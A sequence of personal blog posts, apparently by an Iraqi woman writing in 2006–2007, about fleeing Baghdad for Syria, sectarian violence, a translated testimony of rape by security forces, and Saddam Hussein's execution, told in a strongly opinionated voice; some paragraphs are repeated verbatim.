saying goodbye and wondering if you’re ever going to see these people again. My uncle tightened the shawl I’d thrown over my hair and advised me firmly to ‘keep it on until you get to the border’. The aunt rushed out behind us as the car pulled out of the garage and dumped a bowl of water on the ground, which is a tradition- its to wish the travelers a safe return… eventually.The trip was long and uneventful, other than two checkpoints being run by masked men. They asked to see identification, took a cursory glance at the passports and asked where we were going. The same was done for the car behind us. Those checkpoints are terrifying but I’ve learned that the best technique is to avoid eye-contact, answer questions politely and pray under your breath. My mother and I had been careful not to wear any apparent jewelry, just in case, and we were both in long skirts and head scarves.The trip was long and uneventful, other than two checkpoints being run by masked men. They asked to see identification, took a cursory glance at the passports and asked where we were going. The same was done for the car behind us. Those checkpoints are terrifying but I’ve learned that the best technique is to avoid eye-contact, answer questions politely and pray under your breath. My mother and I had been careful not to wear any apparent jewelry, just in case, and we were both in long skirts and head scarves.Syria is the only country, other than Jordan, that was allowing people in without a visa. The Jordanians are being horrible with refugees. Families risk being turned back at the Jordanian border, or denied entry at Amman Airport. It’s too high a risk for most families.We waited for hours, in spite of the fact that the driver we were with had ‘connections’, which meant he’d been to Syria and back so many times, he knew all the right people to bribe for a safe passage through the borders. I sat nervously at the border. The tears had stopped about an hour after we’d left Baghdad. Just seeing the dirty streets, the ruins of buildings and houses, the smoke-filled horizon all helped me realize how fortunate I was to have a chance for something safer.By the time we were out of Baghdad, my heart was no longer aching as it had been while we were still leaving it. The cars around us on the border were making me nervous. I hated being in the middle of so many possibly explosive vehicles. A part of me wanted to study the faces of the people around me, mostly families, and the other part of me, the one that’s been trained to stay out of trouble the last four years, told me to keep my eyes to myself- it was almost over.It was finally our turn. I sat stiffly in the car and waited as money passed hands; our passports were looked over and finally stamped. We were ushered along and the driver smiled with satisfaction, “It’s been an easy trip, Alhamdulillah,” he said cheerfully.As we crossed the border and saw the last of the Iraqi flags, the tears began again. The car was silent except for the prattling of the driver who was telling us stories of escapades he had while crossing the border. I sneaked a look at my mother sitting beside me and her tears were flowing as well. There was simply nothing to say as we left Iraq. I wanted to sob, but I didn’t want to seem like a baby. I didn’t want the driver to think I was ungrateful for the chance to leave what had become a hellish place over the last four and a half years.The Syrian border was almost equally packed, but the environment was more relaxed. People were getting out of their cars and stretching. Some of them recognized each other and waved or shared woeful stories or comments through the windows of the cars. Most importantly, we were all equal. Sunnis and Shia, Arabs and Kurds… we were all equal in front of the Syrian border personnel.We were all refugees- rich or poor. And refugees all look the same- there’s a unique expression you’ll find on their faces- relief, mixed with sorrow, tinged with apprehension. The faces almost all look the same.The first minutes after passing the border were overwhelming. Overwhelming relief and overwhelming sadness… How is it that only a stretch of several kilometers and maybe twenty minutes, so firmly segregates life from death?How is it that a border no one can see or touch stands between car bombs, militias, death squads and… peace, safety? It’s difficult to believe- even now. I sit here and write this and wonder why I can’t hear the explosions.I wonder at how the windows don’t rattle as the planes pass overhead. I’m trying to rid myself of the expectation that armed people in black will break through the door and into our lives. I’m trying to let my eyes grow accustomed to streets free of road blocks, hummers and pictures of Muqtada and the rest…How is it that all of this lies a short car ride away?
The Great Wall of Segregation...
…Which is the wall the current Iraqi government is building (with the support and guidance of the Americans). It's a wall that is intended to separate and isolate what is now considered the largest 'Sunni' area in Baghdad- let no one say the Americans are not building anything. According to plans the Iraqi puppets and Americans cooked up, it will 'protect' A'adhamiya, a residential/mercantile area that the current Iraqi government and their death squads couldn't empty of Sunnis.
The wall, of course, will protect no one. I sometimes wonder if this is how the concentration camps began in Europe. The Nazi government probably said, "Oh look- we're just going to protect the Jews with this little wall here- it will be difficult for people to get into their special area to hurt them!" And yet, it will also be difficult to get out.
The Wall is the latest effort to further break Iraqi society apart. Promoting and supporting civil war isn't enough, apparently- Iraqis have generally proven to be more tenacious and tolerant than their mullahs, ayatollahs, and Vichy leaders. It's time for America to physically divide and conquer- like Berlin before the wall came down or Palestine today. This way, they can continue chasing Sunnis out of "Shia areas" and Shia out of "Sunni areas".
I always hear the Iraqi pro-war crowd interviewed on television from foreign capitals (they can only appear on television from the safety of foreign capitals because I defy anyone to be publicly pro-war in Iraq). They refuse to believe that their religiously inclined, sectarian political parties fueled this whole Sunni/Shia conflict. They refuse to acknowledge that this situation is a direct result of the war and occupation. They go on and on about Iraq's history and how Sunnis and Shia were always in conflict and I hate that. I hate that a handful of expats who haven't been to the country in decades pretend to know more about it than people actually living there.
I remember Baghdad before the war- one could live anywhere. We didn't know what our neighbors were- we didn't care. No one asked about religion or sect. No one bothered with what was considered a trivial topic: are you Sunni or Shia? You only asked something like that if you were uncouth and backward. Our lives revolve around it now. Our existence depends on hiding it or highlighting it- depending on the group of masked men who stop you or raid your home in the middle of the night.
On a personal note, we've finally decided to leave. I guess I've known we would be leaving for a while now. We discussed it as a family dozens of times. At first, someone would suggest it tentatively because, it was just a preposterous idea- leaving ones home and extended family- leaving ones country- and to what? To where?
Since last summer, we had been discussing it more and more. It was only a matter of time before what began as a suggestion- a last case scenario- soon took on solidity and developed into a plan. For the last couple of months, it has only been a matter of logistics. Plane or car? Jordan or Syria? Will we all leave together as a family? Or will it be only my brother and I at first?
After Jordan or Syria- where then? Obviously, either of those countries is going to be a transit to something else. They are both overflowing with Iraqi refugees, and every single Iraqi living in either country is complaining of the fact that work is difficult to come by, and getting a residency is even more difficult. There is also the little problem of being turned back at the border. Thousands of Iraqis aren't being let into Syria or Jordan- and there are no definite criteria for entry, the decision is based on the whim of the border patrol guard checking your passport.
An airplane isn't necessarily safer, as the trip to Baghdad International Airport is in itself risky and travelers are just as likely to be refused permission to enter the country (Syria and Jordan) if they arrive by airplane. And if you're wondering why Syria or Jordan, because they are the only two countries that will let Iraqis in without a visa. Following up visa issues with the few functioning embassies or consulates in Baghdad is next to impossible.
So we've been busy. Busy trying to decide what part of our lives to leave behind. Which memories are dispensable? We, like many Iraqis, are not the classic refugees- the ones with only the clothes on their backs and no choice. We are choosing to leave because the other option is simply a continuation of what has been one long nightmare- stay and wait and try to survive.
On the one hand, I know that leaving the country and starting a new life somewhere else- as yet unknown- is such a huge thing that it should dwarf every trivial concern. The funny thing is that it’s the trivial that seems to occupy our lives. We discuss whether to take photo albums or leave them behind. Can I bring along a stuffed animal I've had since the age of four? Is there room for E.'s guitar? What clothes do we take? Summer clothes? The winter clothes too? What about my books? What about the CDs, the baby pictures?
The problem is that we don't even know if we'll ever see this stuff again. We don't know if whatever we leave, including the house, will be available when and if we come back. There are moments when the injustice of having to leave your country, simply because an imbecile got it into his head to invade it, is overwhelming. It is unfair that in order to survive and live normally, we have to leave our home and what remains of family and friends… And to what?
It's difficult to decide which is more frightening- car bombs and militias, or having to leave everything you know and love, to some unspecified place for a future where nothing is certain.
The Rape of Sabrine...
As I write this, Oprah is on Channel 4 (one of the MBC channels we get on Nilesat), showing Americans how to get out of debt. Her guest speaker is telling a studio full of American women who seem to have over-shopped that they could probably do with fewer designer products. As they talk about increasing incomes and fortunes, Sabrine Al-Janabi, a young Iraqi woman, is on Al Jazeera telling how Iraqi security forces abducted her from her home and raped her. You can only see her eyes, her voice is hoarse and it keeps breaking as she speaks. In the end she tells the reporter that she can’t talk about it anymore and she covers her eyes with shame.
She might just be the bravest Iraqi woman ever. Everyone knows American forces and Iraqi security forces are raping women (and men), but this is possibly the first woman who publicly comes out and tells about it using her actual name. Hearing her tell her story physically makes my heart ache. Some people will call her a liar. Others (including pro-war Iraqis) will call her a prostitute- shame on you in advance.
I wonder what excuse they used when they took her. It’s most likely she’s one of the thousands of people they round up under the general headline of ‘terrorist suspect’. She might have been one of those subtitles you read on CNN or BBC or Arabiya, “13 insurgents captured by Iraqi security forces.” The men who raped her are those same security forces Bush and Condi are so proud of- you know- the ones the Americans trained. It’s a chapter right out of the book that documents American occupation in Iraq: the chapter that will tell the story of 14-year-old Abeer who was raped, killed and burned with her little sister and parents.
They abducted her from her house in an area in southern Baghdad called Hai Al Amil. No- it wasn’t a gang. It was Iraqi peace keeping or security forces- the ones trained by Americans? You know them. She was brutally gang-raped and is now telling the story. Half her face is covered for security reasons or reasons of privacy. I translated what she said below.
“I told him, ‘I don’t have anything [I did not do anything].’ He said, 'You don’t have anything?’ One of them threw me on the ground and my head hit the tiles. He did what he did- I mean he raped me. The second one came and raped me. The third one also raped me. [Pause- sobbing] I begged them and cried, and one of them covered my mouth. [Unclear, crying] Another one of them came and said, 'Are you finished? We also want our turn.' So they answered, ‘No, an American committee came.’ They took me to the judge.
Anchorwoman: Sabrine Al Janabi said that one of the security forces videotaped/photographed her and threatened to kill her if she told anyone about the rape. Another officer raped her after she saw the investigative judge. It takes a lot to get the energy and resolution to blog lately. I guess it’s mainly because just thinking about the state of Iraq leaves me drained and depressed. But I had to write tonight.As I write this, Oprah is on Channel 4 (one of the MBC channels we get on Nilesat), showing Americans how to get out of debt. Her guest speaker is telling a studio full of American women who seem to have over-shopped that they could probably do with fewer designer products. As they talk about increasing incomes and fortunes, Sabrine Al-Janabi, a young Iraqi woman, is on Al Jazeera telling how Iraqi security forces abducted her from her home and raped her. You can only see her eyes, her voice is hoarse and it keeps breaking as she speaks. In the end she tells the reporter that she can’t talk about it anymore and she covers her eyes with shame.She might just be the bravest Iraqi woman ever. Everyone knows American forces and Iraqi security forces are raping women (and men), but this is possibly the first woman who publicly comes out and tells about it using her actual name. Hearing her tell her story physically makes my heart ache. Some people will call her a liar. Others (including pro-war Iraqis) will call her a prostitute- shame on you in advance.I wonder what excuse they used when they took her. It’s most likely she’s one of the thousands of people they round up under the general headline of ‘terrorist suspect’. She might have been one of those subtitles you read on CNN or BBC or Arabiya, “13 insurgents captured by Iraqi security forces.” The men who raped her are those same security forces Bush and Condi are so proud of- you know- the ones the Americans trained. It’s a chapter right out of the book that documents American occupation in Iraq: the chapter that will tell the story of 14-year-old Abeer who was raped, killed and burned with her little sister and parents.They abducted her from her house in an area in southern Baghdad called Hai Al Amil. No- it wasn’t a gang. It was Iraqi peace keeping or security forces- the ones trained by Americans? You know them. She was brutally gang-raped and is now telling the story. Half her face is covered for security reasons or reasons of privacy. I translated what she said below. “I told him, ‘I don’t have anything [I did not do anything].’ He said, 'You don’t have anything?’ One of them threw me on the ground and my head hit the tiles. He did what he did- I mean he raped me. The second one came and raped me. The third one also raped me. [Pause- sobbing] I begged them and cried, and one of them covered my mouth. [Unclear, crying] Another one of them came and said, 'Are you finished? We also want our turn.' So they answered, ‘No, an American committee came.’ They took me to the judge.Anchorwoman: Sabrine Al Janabi said that one of the security forces videotaped/photographed her and threatened to kill her if she told anyone about the rape. Another officer raped her after she saw the investigative judge.
Sabrine continuing:
“One of them, he said… I told him, ‘Please- by your father and mother- let me go.’ He said, ‘No, no- by my mother’s soul I’ll let you go- but on one condition, you give me one single thing.’ I said, ‘What?’ He said, ‘[I want] to rape you.’ I told him, ‘No- I can’t.’ So he took me to a room with a weapon… It had a weapon, a Klashnikov, a small bed [Unclear], he sat me on it. So [the officer came] and told him, ‘Leave her to me.’ I swore to him on the Quran, I told him, ‘By the light of the Prophet I don’t do such things…’ He said, ‘You don’t do such things?’ I said, ‘Yes’.
[Crying] He picked up a black hose, like a pipe. He hit me on the thigh. [Crying] I told him, ‘What do you want from me? Do you want me to tell you rape me? But I can’t… I’m not one of those ***** [Prostitutes] I don’t do such things.’ So he said to me, ‘We take what we want and what we don’t want we kill. That’s that.’ [Sobbing] I can’t anymore… please, I can’t finish.”
[Crying] He picked up a black hose, like a pipe. He hit me on the thigh. [Crying] I told him, ‘What do you want from me? Do you want me to tell you rape me? But I can’t… I’m not one of those ***** [Prostitutes] I don’t do such things.’ So he said to me, ‘We take what we want and what we don’t want we kill. That’s that.’ [Sobbing] I can’t anymore… please, I can’t finish.”
I look at this woman and I can’t feel anything but rage. What did we gain? I know that looking at her, foreigners will never be able to relate. They’ll feel pity and maybe some anger, but she’s one of us. She’s not a girl in jeans and a t-shirt so there will only be a vague sort of sympathy. Poor third-world countries- that is what their womenfolk tolerate. Just know that we never had to tolerate this before. There was a time when Iraqis were safe in the streets. That time is long gone. We consoled ourselves after the war with the fact that we at least had a modicum of safety in our homes. Homes are sacred, aren’t they? That is gone too.
She’s just one of tens, possibly hundreds, of Iraqi women who are violated in their own homes and in Iraqi prisons. She looks like cousins I have. She looks like friends. She looks like a neighbor I sometimes used to pause to gossip with in the street. Every Iraqi who looks at her will see a cousin, a friend, a sister, a mother, an aunt… Humanitarian organizations are warning that three Iraqi women are to be executed next month. The women are Wassan Talib, Zainab Fadhil and Liqa Omar Muhammad. They are being accused of 'terrorism', i.e. having ties to the Iraqi resistance. It could mean they are relatives of people suspected of being in the resistance. Or it could mean they were simply in the wrong place at the wrong time. One of them gave birth in the prison. I wonder what kind of torture they've endured. Let no one say Iraqi women didn't get at least SOME equality under the American occupation- we are now equally as likely to get executed. And yet, as the situation continues to deteriorate both for Iraqis inside and outside of Iraq, and for Americans inside Iraq, Americans in America are still debating on the state of the war and occupation- are they winning or losing? Is it better or worse. Let me clear it up for any moron with lingering doubts: It’s worse. It’s over. You lost. You lost the day your tanks rolled into Baghdad to the cheers of your imported, American-trained monkeys. You lost every single family whose home your soldiers violated. You lost every sane, red-blooded Iraqi when the Abu Ghraib pictures came out and verified your atrocities behind prison walls as well as the ones we see in our streets. You lost when you brought murderers, looters, gangsters and militia heads to power and hailed them as Iraq’s first democratic government. You lost when a gruesome execution was dubbed your biggest accomplishment. You lost the respect and reputation you once had. You lost more than 3000 troops. That is what you lost America. I hope the oil, at least, made it worthwhile.
A Lynching...
This does not bode well for the coming year. No one imagined the madmen would actually do it during a religious holiday. It is religiously unacceptable and before, it was constitutionally illegal. We thought we'd at least get a few days of peace and some time to enjoy the Eid holiday, which coincides with the New Year this year. We've spent the first two days of a holy holiday watching bits and pieces of a sordid lynching.
America the savior… After nearly four years and Bush's biggest achievement in Iraq has been a lynching. Bravo Americans.
Maliki has made the mistake of his life. His signature and unhidden glee at the whole execution, especially on the first day of Eid Al Adha (the Eid where millions of Muslims make a pilgrimage to Mecca), will only do more to damage his already tattered reputation. He's like a vulture in a suit (or a balding weasel). It's almost embarrassing. I kept expecting Muwafaq Al Rubaii to run over and wipe the drool from the corner of his mouth as he signed for the execution. Are these the people who represent the New Iraq? We're in so much more trouble than I ever thought.
And no- not the celebrations BBC are claiming. With the exception of a few areas, the streets are empty.
Now we come to CNN. Shame on you CNN journalists- you're getting lazy. The least you can do is get the last words correct when you write a story about an execution. Your articles are read the world over and will go down in history as references. You people are the biggest news network in the world- the least you can do is spend some money on a decent translator. Saddam's last words were NOT "Muqtada Al Sadr" as Munir Haddad claimed, according to the article below. If anyone had seen at least part of the video they showed on TV, you'd know that.
"A witness, Iraqi Judge Munir Haddad, said that one of the executioners told Hussein that the former dictator had destroyed Iraq, which sparked an argument that was joined by several government officials in the room.
As a noose was tightened around Hussein's neck, one of the executioners yelled "long live Muqtada al-Sadr," Haddad said, referring to the powerful anti-American Shiite religious leader.
Hussein, a Sunni, uttered one last phrase before he died, saying "Muqtada al-Sadr" in a mocking tone, according to Haddad's account."
From the video that was leaked, it was not an executioner who yelled "long live Muqtada al-Sadr". See, this is another low the Maliki government sunk to- they had some hecklers conveniently standing by during the execution. Maliki claimed they were "some witnesses from the trial", but they were, very obviously, hecklers. The moment the noose was around Saddam's neck, they began chanting, in unison, "God's prayers be on Mohamed and on Mohamed's family…" Something else I didn't quite catch (but it was very coordinated), and then "Muqtada, Muqtada, Muqtada!" One of them called out to Saddam, "Go to hell…" (in Arabic). Saddam looked down disdainfully and answered "Heya hay il marjala…?" which is basically saying, "Is this your manhood…?".
Someone half-heartedly called out to the hecklers, "I beg you, I beg you- the man is being executed!" They were slightly quieter and then Saddam stood and said, "Ashadu an la ilaha ila Allah, wa ashhadu ana Mohammedun rasool Allah…" Which means, "I witness there is no god but Allah and that Mohammed is His messenger." These are the words a Muslim (Sunnis and Shia alike) should say on their deathbed. He repeated this one more time, very clearly, but before he could finish it, he was lynched. It's official. Maliki and his people are psychopaths. This really is a new low. It's outrageous- an execution during Eid. Muslims all over the world (with the exception of Iran) are outraged. Eid is a time of peace, of putting aside quarrels and anger- at least for the duration of Eid.This does not bode well for the coming year. No one imagined the madmen would actually do it during a religious holiday. It is religiously unacceptable and before, it was constitutionally illegal. We thought we'd at least get a few days of peace and some time to enjoy the Eid holiday, which coincides with the New Year this year. We've spent the first two days of a holy holiday watching bits and pieces of a sordid lynching.America the savior… After nearly four years and Bush's biggest achievement in Iraq has been a lynching. Bravo Americans.Maliki has made the mistake of his life. His signature and unhidden glee at the whole execution, especially on the first day of Eid Al Adha (the Eid where millions of Muslims make a pilgrimage to Mecca), will only do more to damage his already tattered reputation. He's like a vulture in a suit (or a balding weasel). It's almost embarrassing. I kept expecting Muwafaq Al Rubaii to run over and wipe the drool from the corner of his mouth as he signed for the execution. Are these the people who represent the New Iraq? We're in so much more trouble than I ever thought.And no- not the celebrations BBC are claiming. With the exception of a few areas, the streets are empty.Now we come to CNN. Shame on you CNN journalists- you're getting lazy. The least you can do is get the last words correct when you write a story about an execution. Your articles are read the world over and will go down in history as references. You people are the biggest news network in the world- the least you can do is spend some money on a decent translator. Saddam's last words were NOT "Muqtada Al Sadr" as Munir Haddad claimed, according to the article below. If anyone had seen at least part of the video they showed on TV, you'd know that.From the video that was leaked, it was not an executioner who yelled "long live Muqtada al-Sadr". See, this is another low the Maliki government sunk to- they had some hecklers conveniently standing by during the execution. Maliki claimed they were "some witnesses from the trial", but they were, very obviously, hecklers. The moment the noose was around Saddam's neck, they began chanting, in unison, "God's prayers be on Mohamed and on Mohamed's family…" Something else I didn't quite catch (but it was very coordinated), and then "Muqtada, Muqtada, Muqtada!" One of them called out to Saddam, "Go to hell…" (in Arabic). Saddam looked down disdainfully and answered "Heya hay il marjala…?" which is basically saying, "Is this your manhood…?".Someone half-heartedly called out to the hecklers, "I beg you, I beg you- the man is being executed!" They were slightly quieter and then Saddam stood and said, "Ashadu an la ilaha ila Allah, wa ashhadu ana Mohammedun rasool Allah…" Which means, "I witness there is no god but Allah and that Mohammed is His messenger." These are the words a Muslim (Sunnis and Shia alike) should say on their deathbed. He repeated this one more time, very clearly, but before he could finish it, he was lynched.
So, no, CNN, his last words were not "Muqtada Al Sadr" in a mocking tone- just thought someone should clear that up. (Really people, six of you contributed to that article!)
Then again, one could argue that it was a judge who gave them that false information. A judge on the Iraqi appeals court- one of the judges who ratified the execution order. Everyone knows Iraqi judges under American tutelage never lie- that explains CNN's confusion.
Muwafaq Al Rubai was said he was "weak and frightened". Apparently, Rubai saw a different lynching because according to the video they leaked, he didn't look frightened at all. His voice didn't shake and he refused to put on the black hood. He looked resigned to his fate, and during the heckling he looked as defiant as ever. (It's quite a contrast to Muhsin Abdul Hameed's public hysterics last year when the Americans raided his home.)
It's one thing to have militias participating in killings. This is allegedly the democracy the Americans flaunt. Is this how bloodthirsty and frightening we've become? Is this what Iraq stands for now? Executions? I'm sure the rest of the Arab countries will be impressed.
One of the most advanced countries in the world did not help to reconstruct Iraq, they didn't even help produce a decent constitution. They did, however, contribute nicely to a kangaroo court and a lynching. A lynching shall go down in history as America's biggest accomplishment in Iraq. So who's next? Who hangs for the hundreds of thousands who've died as a direct result of this war and occupation? Bush? Blair? Maliki? Jaffari? Allawi? Chalabi?
2006 has definitely been representative of Maliki and his government- killings like never before and a lynching to end it properly. Death and destruction everywhere. I'm so tired of all of this…
End of Another Year...
You know your country is in trouble when: The UN has to open a special branch just to keep track of the chaos and bloodshed, UNAMI. Abovementioned branch cannot be run from your country. The politicians who worked to put your country in this sorry state can no longer be found inside of, or anywhere near, its borders. The only thing the US and Iran can agree about is the deteriorating state of your nation. An 8-year war and 13-year blockade are looking like the country's 'Golden Years'. Your country is purportedly 'selling' 2 million barrels of oil a day, but you are standing in line for 4 hours for black market gasoline for the generator. For every 5 hours of no electricity, you get one hour of public electricity and then the government announces it's going to cut back on providing that hour. Politicians who supported the war spend tv time debating whether it is 'sectarian bloodshed' or 'civil war'. People consider themselves lucky if they can actually identify the corpse of the relative that's been missing for two weeks.
A day in the life of the average Iraqi has been reduced to identifying corpses, avoiding car bombs and attempting to keep track of which family members have been detained, which ones have been exiled and which ones have been abducted.
2006 has been, decidedly, the worst year yet. No- really. The magnitude of this war and occupation is only now hitting the country full force. It's like having a big piece of hard, dry earth you are determined to break apart. You drive in the first stake in the form of an infrastructure damaged with missiles and the newest in arms technology, the first cracks begin to form. Several smaller stakes come in the form of politicians like Chalabi, Al Hakim, Talbani, Pachachi, Allawi and Maliki. The cracks slowly begin to multiply and stretch across the once solid piece of earth, reaching out towards its edges like so many skeletal hands. And you apply pressure. You surround it from all sides and push and pull. Slowly, but surely, it begins coming apart- a chip here, a chunk there.
That is Iraq right now. The Americans have done a fine job of working to break it apart. This last year has nearly everyone convinced that that was the plan right from the start. There were too many blunders for them to actually have been, simply, blunders. The 'mistakes' were too catastrophic. The people the Bush administration chose to support and promote were openly and publicly terrible- from the conman and embezzler Chalabi, to the terrorist Jaffari, to the militia man Maliki. The decisions, like disbanding the Iraqi army, abolishing the original constitution, and allowing militias to take over Iraqi security were too damaging to be anything but intentional.
The question now is, but why? I really have been asking myself that these last few days. What does America possibly gain by damaging Iraq to this extent? I'm certain only raving idiots still believe this war and occupation were about WMD or an actual fear of Saddam.
Al Qaeda? That's laughable. Bush has effectively created more terrorists in Iraq these last 4 years than Osama could have created in 10 different terrorist camps in the distant hills of Afghanistan. Our children now play games of 'sniper' and 'jihadi', pretending that one hit an American soldier between the eyes and this one overturned a Humvee.
This last year especially has been a turning point. Nearly every Iraqi has lost so much. So much. There's no way to describe the loss we've experienced with this war and occupation. There are no words to relay the feelings that come with the knowledge that daily almost 40 corpses are found in different states of decay and mutilation. There is no compensation for the dense, black cloud of fear that hangs over the head of every Iraqi. Fear of things so out of ones hands, it borders on the ridiculous- like whether your name is 'too Sunni' or 'too Shia'. Fear of the larger things- like the Americans in the tank, the police patrolling your area in black bandanas and green banners, and the Iraqi soldiers wearing black masks at the checkpoint.
Again, I can't help but ask myself why this was all done? What was the point of breaking Iraq so that it was beyond repair? Iran seems to be the only gainer. Their presence in Iraq is so well-established, publicly criticizing a cleric or ayatollah verges on suicide. Has the situation gone so beyond America that it is now irretrievable? Or was this a part of the plan all along? My head aches just posing the questions.
What has me most puzzled right now is: why add fuel to the fire? Sunnis and moderate Shia are being chased out of the larger cities in the south and the capital. Baghdad is being torn apart with Shia leaving Sunni areas and Sunnis leaving Shia areas- some under threat and some in fear of attacks. People are being openly shot at check points or in drive by killings… Many colleges have stopped classes. Thousands of Iraqis no longer send their children to school- it's just not safe.
Why make things worse by insisting on Saddam's execution now? Who gains if they hang Saddam? Iran, naturally, but who else? There is a real fear that this execution will be the final blow that will shatter Iraq. Some Sunni and Shia tribes have threatened to arm their members against the Americans if Saddam is executed. Iraqis in general are watching closely to see what happens next, and quietly preparing for the worst.
This is because now, Saddam no longer represents himself or his regime. Through the constant insistence of American war propaganda, Saddam is now representative of all Sunni Arabs (never mind most of his government were Shia). The Americans, through their speeches and news articles and Iraqi Puppets, have made it very clear that they consider him to personify Sunni Arab resistance to the occupation. Basically, with this execution, what the Americans are saying is "Look- Sunni Arabs- this is your man, we all know this. We're hanging him- he symbolizes you." And make no mistake about it, this trial and verdict and execution are 100% American. Some of the actors were Iraqi enough, but the production, direction and montage was pure Hollywood (though low-budget, if you ask me).
That is, of course, why Talbani doesn't want to sign his death penalty- not because the mob man suddenly grew a conscience, but because he doesn't want to be the one who does the hanging- he won't be able to travel far away enough if he does that.
Maliki's government couldn't contain their glee. They announced the ratification of the execution order before the actual court did. A few nights ago, some American news program interviewed Maliki's bureau chief, Basim Al-Hassani who was speaking in accented American English about the upcoming execution like it was a carnival he'd be attending. He sat, looking sleazy and not a little bit ridiculous, his dialogue interspersed with 'gonna', 'gotta' and 'wanna'... Which happens, I suppose, when the only people you mix with are American soldiers.
My only conclusion is that the Americans want to withdraw from Iraq, but would like to leave behind a full-fledged civil war because it wouldn't look good if they withdraw and things actually begin to improve, would it?
Here we come to the end of 2006 and I am sad. Not simply sad for the state of the country, but for the state of our humanity, as Iraqis. We've all lost some of the compassion and civility that I felt made us special four years ago. I take myself as an example. Nearly four years ago, I cringed every time I heard about the death of an American soldier. They were occupiers, but they were humans also and the knowledge that they were being killed in my country gave me sleepless nights. Never mind they crossed oceans to attack the country, I actually felt for them.
Had I not chronicled those feelings of agitation in this very blog, I wouldn't believe them now. Today, they simply represent numbers. 3000 Americans dead over nearly four years? Really? That's the number of dead Iraqis in less than a month. The Americans had families? Too bad. So do we. So do the corpses in the streets and the ones waiting for identification in the morgue.
Is the American soldier that died today in Anbar more important than a cousin I have who was shot last month on the night of his engagement to a woman he's wanted to marry for the last six years? I don't think so.
Just because Americans die in smaller numbers, it doesn't make them more significant, does it?
When All Else Fails...
… Execute the dictator. It’s that simple. When American troops are being killed by the dozen, when the country you are occupying is threatening to break up into smaller countries, when you have militias and death squads roaming the streets and you’ve put a group of Mullahs in power- execute the dictator.
Everyone expected this verdict from the very first day of the trial. There was a brief interlude when, with the first judge, it was thought that it might actually be a coherent trial where Iraqis could hear explanations and see what happened. That was soon over with the prosecution’s first false witness. Events that followed were so ridiculous; it’s difficult to believe them even now.
The sound would suddenly disappear when the defense or one of the defendants got up to speak. We would hear the witnesses but no one could see them- hidden behind a curtain, their voices were changed. People who were supposed to have been dead in the Dujail incident were found to be very alive.
Judge after judge was brought in because the ones in court were seen as too fair. They didn’t instantly condemn the defendants (even if only for the sake of the media). The piece de resistance was the final judge they brought in. His reputation vies only that of Chalabi- a well-known thief and murderer who ran away to Iran to escape not political condemnation, but his father’s wrath after he stole from the restaurant his father ran.
So we all knew the outcome upfront (Maliki was on television 24 hours before the verdict telling people not to ‘rejoice too much’). I think what surprises me right now is the utter stupidity of the current Iraqi government. The timing is ridiculous- immediately before the congressional elections? How very convenient for Bush. Iraq, today, is at its very worst since the invasion and the beginning occupation. April 2003 is looking like a honeymoon month today. Is it really the time to execute Saddam?
I’m more than a little worried. This is Bush’s final card. The elections came and went and a group of extremists and thieves were put into power (no, no- I meant in Baghdad, not Washington). The constitution which seems to have drowned in the river of Iraqi blood since its elections has been forgotten. It is only dug up when one of the Puppets wants to break apart the country. Reconstruction is an aspiration from another lifetime: I swear we no longer want buildings and bridges, security and an undivided Iraq are more than enough. Things must be deteriorating beyond imagination if Bush needs to use the ‘Execute the Dictator’ card.
Iraq has not been this bad in decades. The occupation is a failure. The various pro-American, pro-Iranian Iraqi governments are failures. The new Iraqi army is a deadly joke. Is it really time to turn Saddam into a martyr? Things are so bad that even pro-occupation Iraqis are going back on their initial ‘WE LOVE AMERICA’ frenzy. Laith Kubba (a.k.a. Mr. Catfish for his big mouth and constant look of stupidity) was recently on the BBC saying that this was just the beginning of justice, that people responsible for the taking of lives today should also be brought to justice. He seems to have forgotten he was one of the supporters of the war and occupation, and an important member of one of the murderous pro-American governments. But history shall not forget Mr. Kubba.
Iraq saw demonstrations against and for the verdict. The pro-Saddam demonstrators were attacked by the Iraqi army. This is how free our media is today: the channels that were showing the pro-Saddam demonstrations have been shut down. Iraqi security forces promptly raided them.Welcome to the new Iraq. Here are some images from the Salahiddin and Zawra channels:
Zawra channel. The subtitle says: Baghdad: Zawra satellite channel has stopped broadcasting by order of the government.
Salahiddin's green screen which appeared suddenly says: Salahiddin Satellite Channel Sharqiya channel announcing breaking news: Two channels, Salahiddin and Zawra, shut down. Security forces raid the offices of the channels. It’s not about the man- presidents come and go, governments come and go. It’s the frustration of feeling like the whole country and every single Iraqi inside and outside of Iraq is at the mercy of American politics. It is the rage of feeling like a mere chess piece to be moved back and forth at will. It is the aggravation of having a government so blind and uncaring about their peoples needs that they don’t even feel like it’s necessary to go through the motions or put up an act. And it's the deaths. The thousands of dead and dying, with Bush sitting there smirking and lying about progress and winning in a country where every single Iraqi outside of the Green Zone is losing.
Once again… The timing of all of this is impeccable- two days before congressional elections. And if you don’t see it, then I’m sorry, you’re stupid. Let’s see how many times Bush milks this as a ‘success’ in his coming speeches.
A final note. I just read somewhere that some of the families of dead American soldiers are visiting the Iraqi north to see ‘what their sons and daughters died for’. If that’s the goal of the visit, then, “Ladies and gentlemen- to your right is the Iraqi Ministry of Oil, to your left is the Dawry refinery… Each of you get this, a gift bag containing a 3 by 3 color poster of Al Sayid Muqtada Al Sadr (Long May He Live And Prosper), an Ayatollah Sistani t-shirt and a map of Iran, to scale, redrawn with the Islamic Republic of South Iraq. Also… Hey you! You- the female in the back- is that a lock of hair I see? Cover it up or stay home.”
And that is what they died for.
The Lancet Study...
This has been the longest time I have been away from blogging. There were several reasons for my disappearance the major one being the fact that every time I felt the urge to write about Iraq, about the situation, I'd be filled with a certain hopelessness that can't be put into words and that I suspect other Iraqis feel also.
It's very difficult at this point to connect to the internet and try to read the articles written by so-called specialists and analysts and politicians. They write about and discuss Iraq as I might write about the Ivory Coast or Cambodia- with a detachment and lack of sentiment that- I suppose- is meant to be impartial. Hearing American politicians is even worse. They fall between idiots like Bush- constantly and totally in denial, and opportunists who want to use the war and ensuing chaos to promote themselves.
The latest horror is the study published in the Lancet Journal concluding that over 600,000 Iraqis have been killed since the war. Reading about it left me with mixed feelings. On the one hand, it sounded like a reasonable figure. It wasn't at all surprising. On the other hand, I so wanted it to be wrong. But... who to believe? Who to believe....? American politicians... or highly reputable scientists using a reliable scientific survey technique?
